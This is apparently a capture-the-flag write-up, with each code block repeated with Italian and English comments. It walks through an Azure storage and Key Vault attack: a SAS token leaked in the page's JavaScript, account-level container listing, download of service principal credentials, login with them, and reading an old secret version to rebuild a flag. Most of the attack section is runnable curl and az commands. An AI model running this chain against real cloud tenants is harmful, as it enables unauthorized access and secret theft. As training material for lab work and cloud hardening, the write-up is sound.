// TL;DR
  • A public app.js leaks an over-scoped Azure SAS token (srt=sco, sp=rl).
  • ?comp=list at account level reveals the hidden vault container.
  • A backup-service-account.json yields a service principal: login and Key Vault access.
  • key-shard-2 was rotated: the flag lives in the previous version, still enabled.
  • Lesson: rotating a secret does not remove old versions.
// before you start

Swap <target> for the box IP (the site answers on https://<target>; if the cert doesn't validate add -k to curl). Every command runs on your machine. You need: curl, jq and the Azure CLI (az) — install shown in step [03], needs sudo.

[01] Recon: the kiosk talks too much

The landing page offers no handholds, so I move to view-source and pull app.js. The kiosk writes the visitor's recovery phrase straight into blob storage with no backend in between: which means the credential to do it has to live in the page. And there it is.

# la landing non dà nulla: vado dritto al JS del chiosco
curl -sk https://<target>/app.js | grep -Ei 'storage|sas|container'
# the landing page gives nothing: straight to the kiosk's JS
curl -sk https://<target>/app.js | grep -Ei 'storage|sas|container'
# credenziali cablate nel client: pubbliche per definizione
# valori del deploy D'ESEMPIO: il suffisso dell'account è unico per la TUA istanza
const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS =
  "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=...";
# credentials wired into the client: public by definition
# values from the SAMPLE deploy: the account suffix is unique to YOUR instance
const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS =
  "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=...";
// note

The instance-specific values (the storage account suffix, the service principal GUIDs, the Key Vault name) change on every deploy: always read your own from your app.js and your backup-service-account.json, don't copy the ones in this writeup, or you'll hit an account that doesn't exist on your target.

# NON copiare i valori qui sopra: appartengono al deploy d'esempio.
# Metti i TUOI (letti dal tuo app.js) in variabili di shell e riusale ovunque:
STORAGE="<il tuo STORAGE_ACCOUNT>"           # es. cryptocabana<suffisso-random>
SAS="<il tuo BACKUP_SAS, senza il '?' iniziale>"
# do NOT copy the values above: they belong to the sample deploy.
# put YOURS (read from your own app.js) into shell variables and reuse them everywhere:
STORAGE="<your STORAGE_ACCOUNT>"             # e.g. cryptocabana<random-suffix>
SAS="<your BACKUP_SAS, without the leading '?'>"

Cloud rule number one: anything that reaches the browser is public. A SAS token in JS isn't obfuscated, it's handed over. And a SAS is a plaintext bearer token: srt and sp read straight off the query string, permissions printed right on the key.

[02] The SAS scope: from one blob to the whole account

I break the token down. The 2099 expiry looks alarming, but that's not the problem: the scope is.

SAS paramValueGrants
ssbblob service only
srtscoservice + container + object
sprlread + list
se2099-12-31~never expires

Here's the analysis that matters. To write a single blob you don't need an Account SAS at all: a Service SAS on the single container/blob with create/write is enough, ideally tied to a revocable stored access policy. Instead srt=sco includes the s for service: that one letter is exactly what enables ?comp=list at the account root. The gap between o+cw and sco+rl is the entire vulnerability. Irony: the token is read+list, so it can't even do the write the kiosk claims to need, but it happily hands me a map.

# lo scope 's' (service) abilita la list a livello di account
# NB: la risposta è XML (non JSON), niente jq: estraggo i <Name> a mano
curl -s "https://$STORAGE.blob.core.windows.net/?comp=list&$SAS" \
  | grep -o '<Name>[^<]*' | cut -d'>' -f2
# $web        <- il sito statico
# backups     <- atteso
# vault       <- non linkato da nessuna parte: ci guardo dentro
# the 's' (service) scope enables account-level listing
# note: the response is XML (not JSON), no jq: pull the <Name> fields by hand
curl -s "https://$STORAGE.blob.core.windows.net/?comp=list&$SAS" \
  | grep -o '<Name>[^<]*' | cut -d'>' -f2
# $web        <- the static site
# backups     <- expected
# vault       <- linked nowhere: I look inside
// note

Three containers: $web (the site), backups (expected), and vault, linked nowhere on the page. Guess which one I opened.

[03] From the hidden container to Key Vault

The vault container holds two blobs: seed_phrase.txt, a decoy, and backup-service-account.json, the real prize.

# elenco i blob del container 'vault' (di nuovo XML, non JSON)
curl -s "https://$STORAGE.blob.core.windows.net/vault?restype=container&comp=list&$SAS" \
  | grep -o '<Name>[^<]*' | cut -d'>' -f2
# seed_phrase.txt                 <- depistaggio
# backup-service-account.json     <- il vero premio
# scarico il JSON:
curl -s "https://$STORAGE.blob.core.windows.net/vault/backup-service-account.json?$SAS" -o backup-service-account.json
# list the 'vault' container's blobs (XML again, not JSON)
curl -s "https://$STORAGE.blob.core.windows.net/vault?restype=container&comp=list&$SAS" \
  | grep -o '<Name>[^<]*' | cut -d'>' -f2
# seed_phrase.txt                 <- decoy
# backup-service-account.json     <- the real prize
# pull the JSON:
curl -s "https://$STORAGE.blob.core.windows.net/vault/backup-service-account.json?$SAS" -o backup-service-account.json
{
  "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
  "client_secret": "████████████████████████",
  "key_vault_name": "ccabana-kv-f5scjagc",
  "key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
  "tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c",
  "note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT"
}
{
  "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
  "client_secret": "████████████████████████",
  "key_vault_name": "ccabana-kv-f5scjagc",
  "key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
  "tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c",
  "note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT"
}
# di nuovo: client_id, tenant_id, secret e nome del vault sono del TUO deploy.
# estraili dal JSON appena scaricato (jq comodo, ma vanno bene anche gli occhi):
CLIENT_ID=$(jq -r .client_id backup-service-account.json)
CLIENT_SECRET=$(jq -r .client_secret backup-service-account.json)
TENANT=$(jq -r .tenant_id backup-service-account.json)
KV=$(jq -r .key_vault_name backup-service-account.json)
# again: client_id, tenant_id, secret and vault name are from YOUR deploy.
# extract them from the JSON you just downloaded (jq is handy, but eyeballs work too):
CLIENT_ID=$(jq -r .client_id backup-service-account.json)
CLIENT_SECRET=$(jq -r .client_secret backup-service-account.json)
TENANT=$(jq -r .tenant_id backup-service-account.json)
KV=$(jq -r .key_vault_name backup-service-account.json)

A full Azure AD service principal: client_id, client_secret, tenant_id, and the Key Vault name. The trust the kiosk placed in storage extends straight into the vault. Classic compounding trust chain: each hop widens the blast radius of the original leak.

# prerequisito: la Azure CLI ('az'). Se non ce l'hai già:
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash   # Debian / Parrot / Ubuntu
# in alternativa, dentro un virtualenv:  pip install azure-cli
az version   # deve rispondere con le versioni dei componenti
# prerequisite: the Azure CLI ('az'). If you don't have it yet:
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash   # Debian / Parrot / Ubuntu
# alternatively, inside a virtualenv:  pip install azure-cli
az version   # it should print the component versions
# mi autentico come il service principal trapelato
az login --service-principal \
  -u "$CLIENT_ID" \
  -p "$CLIENT_SECRET" \
  --tenant "$TENANT"
# se risponde "No subscriptions found for ...": è un SP di sola automazione backup,
# rilancia lo stesso comando con --allow-no-subscriptions — i comandi
# 'az keyvault' sono data-plane e girano comunque
# authenticate as the leaked service principal
az login --service-principal \
  -u "$CLIENT_ID" \
  -p "$CLIENT_SECRET" \
  --tenant "$TENANT"
# if it says "No subscriptions found for ...": it's a backup-only automation SP,
# re-run the same command with --allow-no-subscriptions — the
# 'az keyvault' commands are data-plane and work anyway
# quali secret vivono nel vault?
az keyvault secret list --vault-name "$KV" -o table
# key-shard-1  key-shard-2  key-shard-3  master-key (scaduto 2020)
# which secrets live in the vault?
az keyvault secret list --vault-name "$KV" -o table
# key-shard-1  key-shard-2  key-shard-3  master-key (expired 2020)
// note

master-key looks like the jackpot, but it expired in 2020: dead end. The three key-shard secrets are the way.

[04] The rotated version and rebuilding the flag

The room's hint is explicit: "if a value looks freshly rotated, ask yourself what it looked like five minutes before that." Operationally: I check the version history of every shard.

# quante versioni ha ciascuno shard? quello con più di 1 è il sospetto
for s in key-shard-1 key-shard-2 key-shard-3; do
  n=$(az keyvault secret list-versions --vault-name "$KV" --name "$s" --query "length(@)")
  echo "$s: $n versioni"
done
# key-shard-1: 1   key-shard-3: 1   key-shard-2: 2 versioni
# how many versions does each shard have? the one with more than 1 is the suspect
for s in key-shard-1 key-shard-2 key-shard-3; do
  n=$(az keyvault secret list-versions --vault-name "$KV" --name "$s" --query "length(@)")
  echo "$s: $n versions"
done
# key-shard-1: 1   key-shard-3: 1   key-shard-2: 2 versions

key-shard-1 and key-shard-3 have a single version. key-shard-2 has two, created two seconds apart: a snap rotation. The current value is the bait; the good one is in the previous version, still enabled.

# ordino le versioni di key-shard-2 per data di creazione: la più VECCHIA è quella buona
az keyvault secret list-versions --vault-name "$KV" --name key-shard-2 \
  --query "sort_by([].{id:id, enabled:attributes.enabled, created:attributes.created}, &created)" \
  -o table
# la riga con 'created' più vecchio e 'enabled: True' è il bersaglio:
# il numero di versione è il GUID finale dell'id, dopo l'ultimo '/'
# sort key-shard-2's versions by creation date: the OLDEST is the good one
az keyvault secret list-versions --vault-name "$KV" --name key-shard-2 \
  --query "sort_by([].{id:id, enabled:attributes.enabled, created:attributes.created}, &created)" \
  -o table
# the row with the oldest 'created' and 'enabled: True' is the target:
# the version number is the trailing GUID of the id, after the last '/'
# la versione CORRENTE è il depistaggio; mi serve la PRECEDENTE (created più vecchio)
# estraggo in automatico il GUID della versione più vecchia (ultimo campo dell'id):
OLD_VER=$(az keyvault secret list-versions --vault-name "$KV" --name key-shard-2 \
  --query "sort_by(@, &attributes.created)[0].id" -o tsv | awk -F/ '{print $NF}')
echo "$OLD_VER"   # es. 3d6492d2c6f74123bc754a9ded22b2a0

# leggo il valore di QUELLA versione (ancora enabled)
az keyvault secret show --vault-name "$KV" \
  --name key-shard-2 --version "$OLD_VER" \
  --query value -o tsv
# the CURRENT version is the decoy; I need the PREVIOUS one (oldest created)
# auto-extract the oldest version's GUID (the id's last field):
OLD_VER=$(az keyvault secret list-versions --vault-name "$KV" --name key-shard-2 \
  --query "sort_by(@, &attributes.created)[0].id" -o tsv | awk -F/ '{print $NF}')
echo "$OLD_VER"   # e.g. 3d6492d2c6f74123bc754a9ded22b2a0

# read the value of THAT version (still enabled)
az keyvault secret show --vault-name "$KV" \
  --name key-shard-2 --version "$OLD_VER" \
  --query value -o tsv

The subtle point: in Key Vault a rotation creates a new version but doesn't touch the old ones. They stay enabled and readable with the same get permission. Whoever rotates to fix a leak often forgets the leaked secret is still there, one --version back.

# ricostruzione: shard-1 + shard-2(versione vecchia) + shard-3
S1=$(az keyvault secret show --vault-name "$KV" --name key-shard-1 --query value -o tsv)
S2=$(az keyvault secret show --vault-name "$KV" --name key-shard-2 --version "$OLD_VER" --query value -o tsv)
S3=$(az keyvault secret show --vault-name "$KV" --name key-shard-3 --query value -o tsv)
echo "$S1$S2$S3"
# =>  THM{████████████████████}
# rebuild: shard-1 + shard-2(old version) + shard-3
S1=$(az keyvault secret show --vault-name "$KV" --name key-shard-1 --query value -o tsv)
S2=$(az keyvault secret show --vault-name "$KV" --name key-shard-2 --version "$OLD_VER" --query value -o tsv)
S3=$(az keyvault secret show --vault-name "$KV" --name key-shard-3 --query value -o tsv)
echo "$S1$S2$S3"
# =>  THM{████████████████████}
// flag — REDACTED
THM{████████████████████}

You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.

// lesson

Rotating a secret does not delete earlier versions: they stay enabled and readable until you disable or purge them. In Key Vault a rotation is hygiene only if the old material is actually invalidated. Upstream: never ship a SAS token in client JS, keep scope minimal (a Service SAS on the single blob, least privilege, short expiry), and prefer an Azure AD-backed user delegation SAS. Every leaked token widens the blast radius: storage → service principal → Key Vault.